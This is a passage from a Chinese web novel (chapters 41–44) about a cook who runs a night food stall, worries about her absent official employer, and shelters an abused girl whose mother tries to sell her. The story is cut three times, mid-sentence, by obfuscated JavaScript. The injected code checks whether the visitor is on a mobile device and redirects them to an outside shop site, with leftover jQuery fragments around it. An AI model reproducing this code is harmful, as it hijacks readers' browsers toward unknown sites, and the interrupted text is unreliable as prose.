第一日烟火大会出奇顺利,百姓们连连赞叹,当夜裴眠便收到消息,预留的几座桥都有人订了,下一场烟火也被绵州一户姓梁的人家买下了,裴眠派人让负责烟火的专人尽快去梁府摆放,烟火样式与组合必要按照主人家的喜好来。 夜里秦见君躺在床上,想起桥上的事,心还是静不下来——男人有毒!男人有毒!他那时候该不会是想亲我吧? 她攥着被子翻了个身,压在被子上,半晌又觉得热,于是撒了被子呈“大”字型躺着,不一会儿又压了回去,一夜都在辗转反侧...... 翌日清早,鸟雀啾鸣,秦见君如往常一样爬起来洗漱。 在院子里打八段锦时,忽然有小厮来了,在院门口站着。 “怎么了?”秦见君动作不停,只转动眼珠去看那小厮。 “之管家交代说,秦小娘今日不必做饭了。” 秦见君闻言,动作一顿,蹙眉问:“为什么?” “说是大人有急事,连夜去了隔壁过岭州,今日不定能回来。” 秦见君停滞的动作又继续起来,点头道:“知道了,麻烦你了。” 小厮说着没事便离开了。 打完八段锦,秦见君在院子里站会儿才去厨房。 夜里要出摊,她一整日都在做准备,考虑到先前裴眠更喜欢腌制过的羊肉串,而裴小之却觉得未腌制过的羊肉串有一点羊膻味,更加有羊肉的“原味”,于是秦见君打算两种都做。 得了空闲,她还多做了点凉皮出来,面筋自己留下串成串,凉皮则准备带去给袁分,她还串了韭菜、圆白菜和茄子。 准备妥当后,她便推着推车出了门。 此时平雅街上人并不多,大多是本地百姓,秦见君一路打着招呼到了巷子中,袁分已经摆好了摊位。 秦见君走过去,袁分却偏头盯着巷子深处,并未发觉自己的到来。 “你在看什么?”秦见君放下推车,顺着袁分的视线看过去。 这条小巷后面是狭窄的小路,七折八拐的十分绕,从巷尾看过去能看见许多转角,其中一个转角的阴影里有个小小的黑影。 那是个孩子,看着约莫有十岁,他抱着双腿坐在角落中,只穿了一条满是破洞的裤子,光着膀子,瘦骨嶙峋的,蜷缩在那儿只有小小一团,脸埋在手臂下,只露出一双亮晶晶的眸子与秦见君对视。 “你认识?”秦见君问袁分。 袁分摇头。 “那你盯着他做什么?”秦见君觉得有些莫名,袁分本就不是多管闲事的性子,况且他的三白眼盯着人的时候,还挺凶的...... 袁分听了秦见君的话,收回了视线,并不说话。 太阳还悬在天边发热,街上人少,巷子里人就更少了,显得有些冷清。 秦见君算着时间烧上炭,烤了一把羊肉串出来递给袁分,然后举着一串圆白菜进了巷尾。 蹲在角落的那孩子没跑,只缩着身子往角落里躲。 秦见君蹲下身,将圆白菜举到他面前:“请你吃,不要钱。” 走近了她才发现,这孩子的眸子极亮,黑白分明的很好看,但身上却满是伤痕,看着像是用什么东西抽出来的——秦见君忽然想到了秦留志,他用棍子抽在自己身上留下的伤,与这孩子身上的很像...... 那孩子怯生生地抬眼看秦见君,又垂眸去看她手上那串圆白菜,稍稍抬起脸,鼻子也从手臂间露了出来,秦见君能看见他的鼻子微微皱起,似乎是在闻味道,像小狗一样。 “闻着真香啊!这是什么?羊肉串......摊主在吗?”身后传来声音,秦见君看见有客人来了,忙拉起那孩子的手,将圆白菜塞给他,然后起身回了自己的摊位。 “来了!” “哟?是你啊,昨夜也在这巷子里见过你。”来人是几个年轻的书生,领头的那个看向秦见君,想与她套近乎。 秦见君微笑着道:“你昨夜来过?那肯定尝过我这位兄弟的凉皮吧?” 书生点头:“是啊,不瞒你说,今日来也是为了买凉皮,不过你这羊肉串看着也挺有意思......” “要尝尝吗?这可是上好的羊腿肉。” “怎么卖?”书生听说是羊腿肉,也来了兴趣。 秦见君说了价钱,还推荐了烤蔬菜,书生们觉得羊肉卖这个价不算贵,于是纷纷要了羊肉,蔬菜无人问津,秦见君也不急,乐呵呵给人烤羊肉串。 巷子狭窄,巷尾连着曲折小路,另一头又是人头攒动的街道,中间一点风都没有,很快秦见君便被炭烤得满头大汗,她取出一早备好的毛巾擦了一把汗,专心低头看着火。 羊肉串被送到书生们的手中,眼见着街上人多了起来,秦见君便提前将羊肉串放在炉子上烤,还抽空教书生们如何撸串。 “嗯!这羊肉味道好啊!鲜嫩多汁!”为首的书生挑起眉,嘴角还挂着香料,忍不住又撸了一串,其余书生见状,也纷纷下嘴,无一例外都是赞叹声。 路过的行人被几位书生的模样吸引,都拐进巷子中来看热闹,有性子急的,也掏钱买了羊肉串,继而又推荐给友人,如此一传十下去,不一会儿秦见君的摊位前就排起了长队。 赶来买凉皮的百姓也乐得方便,指使同游的亲朋两条队一起排,一时间巷子里连落脚的地方都没有。 秦见君始终面带微笑,不停地用毛巾擦汗,被炭烤得两颊通红也依旧耐心同客人介绍羊肉串。 也有看她相貌漂亮,想来闹事的,都被一旁的袁分用三白眼瞪跑了。 一晚上秦见君的脸都要笑僵了,手上动作就没停过,站得腿酸,不过好在是将准备好的分量全都卖出去了。 “抱歉,今日羊肉串都卖完了。”她冲后来的客人们道歉。 “茄子和圆白菜也行的。” 秦见君努力提着僵硬的苹果肌道:“抱歉,蔬菜也全都没有了,明日我也来,您明日再来买吧?” 那人看秦见君温温柔柔地同自己商量,心中便也不那么急躁了,笑着点头道:“那我明日再来!” 笑着目送最后一位客人离开,秦见君赶忙擦干净手,捧着自己的脸颊揉了揉——太酸了。 “没想到你和你兄弟的手艺都这么好!”身旁传来一个熟悉的声音。 秦见君侧头,是昨晚的灯笼摊主,他还是穿着洗得发白的补丁衣裳坐在摊位边,乐呵呵同自己说话。 秦见君看了一眼他的摊子——灯笼快卖光了,想来今日的生意也是极好的。 “我叫谭连丰,你叫什么?”灯笼摊主笑着问秦见君。 “秦见君。”她站着太累,索性也坐下同谭连丰说话。 两人聊了一会儿天,秦见君觉得休息得差不多了,便起身收拾小推车准备告辞,结果一转头便看见袁分直愣愣站在推车旁看着自己。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703321|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你不回家吗?”秦见君问。 “裴大人交代过,要看着你进裴府。”袁分回。 秦见君眨了眨眼,觉得心里有点麻麻的,她还挺吃这套的......即便自己不能守在身边,也会拜托别人帮忙...... 待她回府问过小厮,得知裴眠还未回府时,难免有些担忧起来,怕他饿一天,也怕他是遇到什么意外的麻烦了...... 带着这样的担忧睡了一夜,清晨起床时,又在院门口看见了昨日来传话的小厮。 “秦小娘,大人一早又出门了,今日也不必做饭。” “又?他昨晚回来了?”秦见君问。 小厮点头:“大人昨晚带着赵大人回来了一趟,没多久又匆匆离开了。” “赵大人?”秦见君蹙眉,“哪个赵大人?” “德北路转运使,赵浅浅大人。” 半夜带女人回府? 小厮看秦见君瞬间阴沉下来的脸色,也不知自己哪句话说错了,忙扯了个由头离开了落霞轩。 秦见君叹了口气——她倒也没什么立场生气,先把手头的事做好吧,今日出摊的食材可以再加一些...... 夜里出摊后半段的时候忽然下雨了,好在秦见君有先见,做推车时预留了撑伞的位置。 “谭大哥,你过来点吧,我的伞大,能遮住的。”秦见君招呼谭连丰来伞下避雨。 下雨天人少了许多,食材堪堪买完时,街上已经没什么人来往了,这次秦见君没有多停留,收了摊便拖着疲惫的身体往知州府赶。 “大人回来了吗?”秦见君进门便问。 “还未。”小厮答。 “大人若是回来了,烦请知会我一声。” “好。”小厮应声,秦小娘看起来像是有急事要找大人的模样,他暗暗留心。 秦见君点点头,回了落霞轩。 洗好澡换好衣裳,秦见君并没有躺床上,而是拎着钱袋子坐在了桌前。 伴着雨声将钱翻来覆去数了六遍,秦见君困得眼睛干涩,有些睁不开了。 她趴在桌上看着钱袋子发呆——裴眠已经两天没吃自己做的饭了,不知道他怎么解决吃饭问题的...... 钱袋子渐渐变得模糊,她使劲眨了眨眼,钱袋子又清晰了,如此反复几次,她的眼睛便再也睁不开了。 夜雨潇潇,知州府门前的灯笼被风吹得左摇右晃,明灭火光下,府门前停了一辆马车。 “去书房。”裴眠坐在轮椅上,半阖着眼,有些疲惫的样子。 袁原应声抬步,裴小之也撑着伞跟上。 跟在后头关上府门的小厮转身看了看裴眠的背影,又往落霞轩方向看了看,咬咬牙追上去。 “大人......” 袁原停下脚步,裴眠转头看着那小厮,问:“何事?” 那小厮紧张得头都不敢抬,恐惊扰裴眠,小声道:“秦小娘似是有话要同大人说,叮嘱说若是大人回府,定要告知她,可眼下夜深了......” 裴眠下意识往落霞轩方向看了一眼,道:“夜深了,不必打扰她,你下去吧。” 小厮得令退下。 袁原继续推着裴眠往淌虹苑去,路过池塘时,裴小之忽然停下脚步。 “郎君......”裴小之踮脚看了看,指着落霞轩方向道,“落霞轩烛火还亮着呢。” 42.第 42 章 秦见君是被一阵敲门声吵醒的,模糊的视线缓缓聚焦,眼前是一桌银钱,还有一盏蜡烛,她转头看向门口——有人在敲门。 她想起自己曾拜托过小厮,若是裴眠回来就告知她一声,这个点只能是小厮来报信,于是连忙起身去开门。 不料门外站着裴小之,秦见君还未开口,他便侧了侧身,露出后面轮椅上的裴眠。 两日不见,裴眠看起来有些疲惫,似乎还比自己印象中瘦了点,秦见君努力不这么想,毕竟才两日,能瘦到哪里去呢?但她还是忍不住担心...... “你去收拾行李。”裴眠对一旁的裴小之道。 裴小之朝秦见君眨了眨眼,将裴眠推进屋子里便出去了。 屋子里只剩下裴眠与秦见君,还有一桌子银钱和一盏蜡烛。 “下人说你找我。”裴眠看见那一桌子银钱,想起先前秦见君数钱的模样,十足的守财奴嘴脸,但并不让人厌恶,只觉得可爱。 “嗯......”秦见君坐回桌前,支起手撑着下巴,抬眼看向裴眠问,“你出去这两日吃得怎么样?” “还好。” “还好?吐了没?”秦见君蹙眉,对他有些敷衍的回答很不满。 “吐了一些......”眼看秦见君要起身,裴眠忙又补了一句,“也吃进去了一些......” 这下秦见君愣住了——吃进去了一些是什么意思?吃了别人做的东西?他能吃下去了? 裴眠垂着眸,有些不自在的样子,这让秦见君心里有点慌——他能吃别人做的食物了,那么自己的存在就不那么特别了...... “那就好......”她闷闷道。 裴眠白日里太忙,又半夜赶回知州府,实在是有些困倦,但还是耐着性子解释:“事发突然,伏江水患形势紧急,朝廷拨不出赈灾款,只能尽量拨粮救灾,眼下整个大荆只有北方还有余粮,官家有心要运粮,却找不到合适的人选,也还未规划安全的路线......” 秦见君看着他,也跟着有些紧张起来:“水患?洪水?” “对,伏江多处决堤,欢州百姓正处于水深火热之中,我这几日要去过岭州与赵浅聿商议运粮路线。”裴眠道。 秦见君想起方才他让裴小之去收拾行李,于是问:“要住在过岭州?” 裴眠点头:“是,今夜便走,绵州事务也会一并送去过岭州,烟火大会如期举行,你不必担心......” 秦见君恨恨咬牙:我担心什么烟火大会?我是担心你吃不下东西饿死! 她深吸了一口气让自己冷静下来,心想待会儿要去探探裴小之的口风,看看裴眠是不是真的能吃别人做的食物了...... “那......你保重......”秦见君低声道。 她心里清楚,过岭州与绵州近,照着裴眠这个身体状况,即便要一起办公,也该是赵浅聿来寻他,能让他去过岭州小住的原因,不过是“少数服从多数”罢了......毕竟过岭州可是有赵浅聿与赵浅浅两人...... 裴眠点点头,两人都沉默下来,裴小之还未回,屋子里一时有些安静,窗外雨声淅淅沥沥,听得人心烦。 “你......出摊如何?”裴眠问。 “挺好的。”秦见君言简意赅,不想多说,心里想着裴眠都要住到过岭州去了,正所谓“近水楼台先得月”,搞不好下次就直接以知州夫人的名义将赵浅浅带回府了...... 裴眠看秦见君对自己爱答不理的样子,也有些焦急——自己只是两日不在,怎么觉得秦见君又对自己疏远了许多?若是此番去过岭州处理公务时间太久,再回来怕不是秦见君要当自己是陌生人了...... 两人各怀心思,都没再说话。 “郎君,行李收拾好了。”门外传来裴小之的声音。 裴眠稍稍坐直了身子道:“那我走了。” 秦见君起身,将他推到门口,闷闷道:“保重。” 门外袁原不知从何处出现,撑着伞接过轮椅。 “去书房。”裴眠还有些需要带走的信未整理,于是袁原撑伞推着他往雨中去。 裴小之扛着一大包行李正欲跟上,忽然被秦见君扯住,他转头便看见秦见君朝自己使眼色。 “郎......郎君!雨太了......我拿着行李不太方便,你和袁原去书房拿完信再来这边找我吧......”裴小之站在屋檐下,袖子后面被秦见君紧紧扯着,动弹不得。 裴眠应了一声便离开了。 “怎么了秦小娘?”裴小之没进屋子,只将行李放在脚边,问秦见君。 “裴眠最近吃得下东西吗?” 裴小之挠了挠耳朵,眼神闪躲,秦见君便凑过去盯着他的眼睛道:“如实说,你知道我是为他好。” 裴小之对上秦见君的目光,叹了口气道:“吃得不怎么好,吃吃吐吐的,像从前没遇到你时一样......” 秦见君蹙眉,裴眠果然骗自己! “这样怎么能行?”她喃喃道。 裴小之无奈摊手:“郎君从前就是这样,办起公来就不舍昼夜、茶饭不思......”眼看着秦见君的脸色越来越差,他找补道,“可也还好,这次不会在过岭州待太久,兴许过几日郎君就回来了,到时候还要拜托秦小娘好好给我们郎君养养身子......”他谄笑着讨好秦见君。 秦见君的眉头紧紧蹙着,半晌还是没说话——欢州水患的事自己帮不上忙,也不能阻止裴眠帮忙,只能祈祷此事快快找到解决方法,裴眠能早日回府...... 雨夜微寒,裴眠一行人匆匆回府收拾了行李又连夜赶去了过岭州。 翌日下午又下了一场雨,好在秦见君出门时雨停了。 下过雨的傍晚潮湿且凉爽,街上人又多了起来,秦见君依旧忙得满头大汗,但心里还是高兴的,从客人们的反馈来看,自己的烧烤摊和袁原的凉皮摊名气已经打出去了,回头客也多,这两个月一定能赚笔大的! 待今日的食材都卖完了,秦见君捶了捶腰,长长地舒了口气,伸手掂了一下钱袋子,鼓鼓囊囊的,模样喜人。 正收拾推车,她忽然感受到一道强烈的视线,于是抬头望过去——是先前那个光着膀子的孩子。 她低头看了看,摊子上一点食材都没有了,于是又转头去看袁分,他的凉皮也卖得干干净净,这会儿也正抬头看着那孩子。 “谭大哥,我买个灯笼。”秦见君转向另一边,同谭连丰说话。 谭连丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720040|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知晓她的意思,便道:“随意拿,不要钱。” 秦见君挑了一个画着竹子的灯笼,执意付了钱,这才转身向巷尾小路的角落走去。 竹子灯笼的光柔柔的,映在小孩的眼睛里,亮晶晶的。 “这么晚了怎么不回家?”秦见君将竹子灯笼放在那孩子身边,轻声道,“灯笼送给你,回家去吧。” 那孩子用怯生生的目光看着秦见君,又垂眼去看竹子灯笼,不伸手也不说话。 秦见君看他瘦巴巴的,便又问:“是不是饿了?” 这下那孩子有了反应,他轻轻摇头,然后把手伸进裤子口袋里掏,秦见君顺着他的动作往下,只见他黝黑干瘦的小手从兜里掏出来一把黏糊糊、黑黢黢的东西来,直接往嘴里塞。 秦见君忙伸手拦住他,结果凑近了才发现,那黏糊糊、黑黢黢的东西......似乎她先前给他的烤圆白菜...... “你......”秦见君心中划过许多猜想,但都没问出口,好半晌才找回自己的声音,轻声问,“你家在哪儿?” 孩子不说话。 她便又问:“你有家吗?” 孩子还是不说话。 秦见君抿了抿唇,还是觉得要问得清楚一些,于是道:“你......有爹娘吗?” 这下孩子有反应了,他的眼睛有一瞬的失神,而后又变得亮晶晶的,点点头。 秦见君松了口气,有爹娘就好,好歹夜里有个去处,不过看这孩子干瘦的身子、蓬乱的头发和破烂的裤子,家境应该不好...... “你以后要是饿了,就来这里找我......”秦见君想了想,怕自己有急事不能出摊,于是又转头指着袁分道,“找他也行。” 那孩子瞥了袁分一眼,点点头,还是抱着腿坐在角落里蜷着身子。 “我送你回家?”秦见君问。 孩子摇头,张嘴了说了第一句话:“不回。” “不回?”秦见君担忧道,“那你夜里去哪儿?” 小孩转身指着后面拐角的簸箕堆。 秦见君只看了一眼便收回视线,问他:“为什么不回家?爹娘会打你?” 小孩的眼睛耷拉下去,点点头。 这下秦见君也不知道要怎么办了......大荆的法制暂且不管家暴这件事,说到底家暴只是别人的“家事”...... 况且她现在也无权无钱的,自己都是寄人篱下的打工人,这援手实在不知道该如何伸出去。 那簸箕堆里有大大小的篓子,孩子藏身在大篓子中是十分隐蔽的,秦见君大概能猜测到这孩子每夜都是怎么过来的...... “那你......早些休息......”秦见君伸手想摸摸那孩子的头,但他似乎十分不习惯这样的触碰,下意识侧头避开了,秦见君的手一顿,随即收了回去。 那孩子也愣住了,反应过来后有些懊恼地盯着秦见君收回去的手看,只不过他低着头,秦见君看不见他的视线。 “虽然你是小男子汉,但如果你遇到了危险和困难,也是可以来向我寻求帮助的。”秦见君认真道。 谁知那孩子忽然抬眼看向她,亮晶晶的眸子闪了闪,轻声道:“不是男子汉......是女的......” 43.第 43 章 秦见君愣在原地,视线忍不住往下看,只见那孩子裸/露的胸脯已经有些微微鼓胀了。 她忙脱了外衫下来,将那孩子裹住。 “你......你衣裳呢?”秦见君问。 那孩子睁着湿漉漉的眼睛看着她,声音稚嫩,轻轻答道:“没有。” “爹娘不给你衣裳穿?” 孩子点头。 秦见君忍不住攥了攥拳头,未知全貌,她不好妄下结论,但此时此刻心中还是不可避免燃起怒火。 “你叫什么名字?” “花招弟。” 秦见君听完,当下便冷笑了一声,心里大约有了猜测,怕吓着孩子,她又极快地整理了心情,温声叮嘱道:“你将衣裳穿好......”她顿了顿,一时不知该如何安顿这孩子。 知州府毕竟不是她家,随意带人回去也得先问过裴眠,可他眼下并不在府中,裴礼卿与方涟也还在避暑园子里没回来...... 最终秦见君决定先陪这孩子在客栈里住一夜,她先是将推车带回了知州府,迅速收拾了些行李,又同看门小厮说今夜不回来,便匆匆走了。 袁分将二人送到了就近的客栈,如今绵州客栈都满了,还是伙计认出了秦见君是知州府的厨娘,这才又腾了一间有些破损的屋子出来。 秦见君要了热水,想给花招弟洗个澡,却发现她身上有些伤还未结痂,泡在水中怕感染,只好退而求其次,浸湿了毛巾给她擦身子。 秦见君小心地避开伤口,拉着花招弟细瘦的手臂给她细细擦着,心里止不住难受,方才同花招弟聊了会儿,得知她已经十二岁了,女孩子这年纪早该有了性别意识与羞耻心,可已经开始发育的花招弟却连一件上衣都没有...... 秦见君想起每次看到花招弟,她都抱着腿缩在角落里......或许她是已经意识到自己的身体变化了,所以才总是缩着膀子用双腿遮挡......可其他时候呢?自己没看见的时候呢?她是如何赤/裸地接受旁人的目光,如何找寻食物的呢? 现代也有很多流浪街头的孩子,不过大多会有同样在流浪的大人带着,那些孤身流浪的孩子会被社会救助,送入孤儿院或者其他社会福利机构,至少不会像花招弟一样无人问津。 秦见君同情花招弟,因为她像自己一样,失去了父爱与母爱,即便这对父母尚在人世...... “饿不饿?”秦见君给花招弟穿上方才在夜市临时买的衣裳,问道。 花招弟习惯性缩着肩膀,垂着脑袋摇了摇头。 于是秦见君不问了,伸手过去覆在花招弟肚子上,她如惊弓之鸟一般想要逃开,却被秦见君伸手揽住了后背。 掌心下面是瘪瘪的肚皮,再往上挪一点能摸到清晰的肋骨,秦见君下楼问伙计要了一碗米糊。 花招弟喝米糊时有些不专心,总是吃两口又抬头看看秦见君,眸子里带着些防备与探究。 秦见君也不说话,自顾自数着今日赚的银钱,想着若是每日都能有这些收入,那都不用等到夏天结束,她便能攒上五两金了。 喝完米糊,花招弟便捧着碗呆坐着,一点声响都没有,是以秦见君并未第一时间发现她吃完了。 秦见君还在垂眸想,这几日赚得多,是因为裴眠不在府中,自己有充足的时间备菜,若是裴眠过段日子回来了,她便没那么多精力花在出摊上了,收入是一定会打折扣的...... 她捏了捏眉心——要不然试试雇人帮忙?明日去了解一下行情,看雇人划不划算,若是不划算的话,就还得自己多费心...... 如此决定后,她抬头,这才发现花招弟已经喝完米糊了,于是伸手过去接空碗,没想到那碗被花招弟死死抓着。 花招弟脸上有些慌张,抓着空碗的指尖用力到发白,她小声道:“我洗碗......”那声音近似哀求。 秦见君看向她,顿了顿,努力扬起一个温和的笑道:“我拿去还给伙计,没事的,米糊我请你吃,不洗碗也不用付钱。” 花招弟犹豫了一下,缓缓松了手。 夜里秦见君让花招弟睡在床里侧,自己睡在外侧。 本以为忙碌了一天,应该是倒头就睡的,但不知是不是太久没有与人同寝了,她听着身侧的呼吸,居然越来越精神了...... 殊不知,这夜睡不着的却不止她一人。 裴眠在床上翻了个身,眸子在漆黑的夜里也是亮晶晶的。 “袁原。” 袁原闻声推门进去,见裴眠坐起身,于是将床头烛火点燃,站在那儿等裴眠下命令。 “你......回绵州看看......”裴眠越想心越慌——方才裴小之说府中小厮来报,秦见君收摊后回了一趟知州府,收拾了行李又匆匆离开,并未说明去哪里...... 裴眠躺在床上左思右想,还是忍不住担忧,他听闻秦见君的羊肉串卖得很好,即便辞去厨娘职位,也可凭借两个月的摆摊赚不少银钱...... 袁原也知晓秦见君夜不归宿之事,他看着裴眠脸上不自觉流露出的担忧与慌张,心下了然,连夜回了绵州。 好在绵州与过岭州相邻,不过是几条街的距离。 袁分即便已经回归了寻常百姓生活,但刻在骨子里的警觉与敏感是无法避免的,他猛然从睡梦中睁眼,眸子里竟没有一丝困倦。 “谁?”他起身看向门口。 袁原推门进来,两人夜视都极好,不点烛火也能看清对方,于是袁原便在黑暗中知晓了今夜发生的事。 半个时辰不到,袁原从袁分住处出来,忍不住回头看了一眼袁分屋子紧闭的门——他方才说到那孩子时,表情有些不对劲。 袁原并未折返回去问袁分,而是径直去了秦见君住的客栈。 窗户被小石头砸了一下,睡不着一直侧身盯着窗户发呆的秦见君很快便发现了,她凝神等了等,窗户又被小石头砸了一下。 她轻手轻脚地下床,蹲在窗户边,伸手拉开一条小缝,缓缓起身透过缝隙看出去。 这房间在一楼,窗外是一条小巷,月光下高大的身影伫立着,秦见君觉得熟悉,便又拉开了一点窗户缝隙,这才看清楚是袁原。 宿在客栈里,她很没有安全感,于是并未换睡衣,而是穿着外出的衣裳,这会儿正好不用换衣裳,直接推开窗便翻了出去。 她尽量小声,怕吵醒床上的花招弟,却不知她一出去,花招弟便转过身看向窗户,眼底没有一丝睡意。 “怎么这么晚找我?”秦见君担忧道,“是裴眠出事了?” 袁原摇头,他本可以问到缘由便回去找裴眠复命,但还是忍不住走了这一遭。 “大人他没事,只是吃得不好......”袁原道,言语中有些犹豫,不知自己这样做是否是对的。 秦见君蹙眉——裴眠果然骗自己。 她想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724528|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁原半夜过来,定是避开了裴眠,偷偷来找自己求助的,于是道:“我知道了,你先回去吧,这件事我会想办法。” 袁原觉得自己要说的话说完了,便点点头转身走了。 秦见君悄悄从窗户翻了回去,踮着脚走到床边,借着反射到床头的月光去看——花招弟呼吸绵长,看起来睡得很熟的样子。 一直到后半夜秦见君才睡着,早晨被客栈走道里的声音吵醒时,她还有些迷糊,半晌才起身,领着花招弟出去吃早饭。 她不能一直带花招弟住在客栈里,吃完早饭,花招弟便带着她去了自己家。 花招弟的家靠知州府挺近的,在两条街外的巷子里。 穿过敞开着的狭窄木门,里头是个院子,三面都有屋子,花招弟指着右手边的门道:“这里。” 秦见君这才反应过来,这院子里住了好几户人家。 敲响了门,里头传来女人骂骂咧咧的声音,由远及近,开门的女人穿着虽算不上好,却也是整齐没有补丁的,她先看到秦见君,而后看见一旁的花招弟,脸上的法令纹瞬间变得更加深重。 女人的眼睛有些浮肿,双眼皮褶皱被压没了,吊起眼瞪人时眼角皱纹又细又密。 “你来做什么?我说了让你自己出去要饭,家里没你吃的份!”女人连招呼都不同秦见君打,似是示威般数落着花招弟。 秦见君早料到如此,她冷声道:“既然你们不给她吃饭,那就让她跟着我做工,管饭吃。”她说这话只是秉着道义来告知一下花招弟的爹娘,毕竟爹娘健在,孩子去哪儿总要知会一声的。 没想到那女人展了展眼角的皱纹,目光在花招弟与秦见君之间转了两圈,开口道:“那不成,这小蹄子给你做工,是要拿工钱的!” 秦见君抿了抿唇,她知道自己若是答应给工钱,那工钱八成也不会留在花招弟自己手中,于是她拒绝道:“我只管饭。” 女人听了,立刻竖起眼睛来,手叉在腰上,提起一口气——秦见君知道,她这是要开始骂街了。 果不其然,女人的嗓门极大,喊来左邻右舍,指着秦见君骂道:“你怪会做生意的!这小贱蹄子吃我的喝我的,长这么大,眼看着能嫁人了,你说带去做工就做工?还不给工钱!大家来评评理!” 她嚷嚷着,院子里其他住户纷纷出门来看,却没人搭她的话,她也并不在意,叉腰指着秦见君与花招弟骂。 秦见君压着心中怒火,现下若是答应给工钱,那花招弟是一分都拿不到的,若是不答应给工钱,这女人又不肯放人,花招弟还要继续在外面游荡...... 秦见君侧头去看花招弟,她直直地盯着自己的娘,平时湿漉漉的眸子看起来更黑了,似是蒙上一层灰雾,看起来麻木又呆滞。 秦见君看着女人的嘴脸越来越狰狞,她抿了抿唇,面上平静地开口道:“不做就算了,我看她手脚利索,正好摊子上缺人才想招工,你要是不同意,那我招别人吧。”说着转身要走。 那女人的叫骂声果然停了,秦见君心里默数了几个数,衣袖被扯了一把,转头是那女人的脸。 女人的眼睛黑仁小,看人的时候像是在瞪人,无端让人心中冒火。 她嘴角都说得起了白沫,秦见君撇开视线不去看她,转身继续往外走。 “这小贱蹄子惯会跑!你招她做工,她也吃不得苦,到时候你再把她送回来给我吗?我可不吃这亏!要么你花钱将她买去!” 44.第 44 章 秦见君气得身子微微发抖,她知晓这女人并不喜欢花招弟,只是没想到她竟然想要卖掉孩子...... 那女人看秦见君停下脚步,以为有的商量,于是上前两步,想讲讲价,没想到秦见君转头走到一旁,拉上靠在墙根的花招弟便出了门,任她如何喊也不回头。 “姐姐......”花招弟喊秦见君。 已经走过了两条街,秦见君步子慢了下来,听到声音,便彻底停了步子,转头看着瘦弱的女孩。 “你带我回家吧......”女孩的声音小小的,怕秦见君误会,她紧接着道,“把我藏起来,我给你做工,绝不出门给人看见......” 她的脸上写满了恳求,还有一丝孤注一掷,如同濒临绝境的幼兽发出最后的呜咽。 “以前她把你卖给过别人吗?” 花招弟摇头:“官府不让。” 秦见君吐了口浊气,点点头,紧绷的后背也松了下来,看来大荆在买卖人口方面还是有规定的...... “秦小娘?” 身后传来熟悉的声音,秦见君转头去看,是小丁。 “怎么在这儿站着?”小丁走近了。 花招弟攥了攥手指,退后了两步,离秦见君远了些,尴尬的距离让人看不出两人的关系。 秦见君立刻便察觉到了,她走了两步,伸手拉住了花招弟,手指触碰到女孩的瞬间,能明显感到她瑟缩了一下,秦见君将手掌贴上去,稳稳地将女孩的手牵住。 “我有些事,你也看见了,不太方便回府......”秦见君解释,但话还没说完便被小丁截断了。 “今早之管家托人带话,说若是看见你,便告知你,尽管带孩子回府即可。” 秦见君惊讶了一瞬,但转念一想,许是袁分告诉裴眠的,于是也不纠结了,但也并未带花招弟回府,而是去找了袁分。 袁分的院子并不大,比落霞轩要小上许多,但麻雀虽小,五脏俱全,收拾得也十分干净整齐。 秦见君进院子时,袁分正在树下阴影中揉面,两人对视,都并未废话,而是直接就花招弟的事聊了起来。 “所以在大荆买卖子女是不被允许的?” “嗯,大荆没有奴籍,不许买卖奴仆,但也有官府管不到的地方,我同袁原就是从那里出来的。”说起这事时,袁分脸上并无半分难堪,十分平静。 不过听他说起这个,一旁的花招弟倒是忽然抬眼望着袁分,袁分似有所觉,也回望过去——她那双眼睛...... 秦见君并未在乎二人之间微妙的氛围,而是苦恼该如何让花招弟脱离困境...... “花招弟。”袁分开口道,“我买你。” 秦见君与花招弟齐齐愣住。 “官府不许买卖人口。”秦见君提醒他。 袁分一直看着花招弟,并未将视线分给秦见君,嘴上道:“我有法子。” 秦见君相信袁分是真的有法子,但......袁分为何忽然要买花招弟?他看着不像是会费心思去做善事的人,而且买了花招弟,往后是要对她负责的,若是袁分以后成亲,花招弟的身份便会变得尴尬...... “不要......”花招弟声音很小,但院子里的另外两人都听得清清楚楚。 秦见君夹在中间,觉得这事似乎变得有些复杂了。 “这事先放放......你继续准备出摊,我带她回府......” 袁分被拒绝了也不恼,点点头将二人送回了知州府。 秦见君回府便直奔厨房,她问过小丁,赵浅聿的知州府离这里并不远,只隔了两条大街,脚程快的话半个时辰便能到,她检查了厨房中的食材,转身又进了冰库。 无论如何她也不能放任裴眠饿着,她决定继续给裴眠做饭,再拜托府中小厮送去,虽然出摊的食材量会减少,但府中给的工钱也不少,加上出摊赚的,收入依然可观。 秦见君在冰库中取了新鲜送来的香橼,又拿了一块鸡胸肉。 看着秦见君在厨房中忙碌,花招弟连坐都不敢坐,僵硬地站在厨房门边。 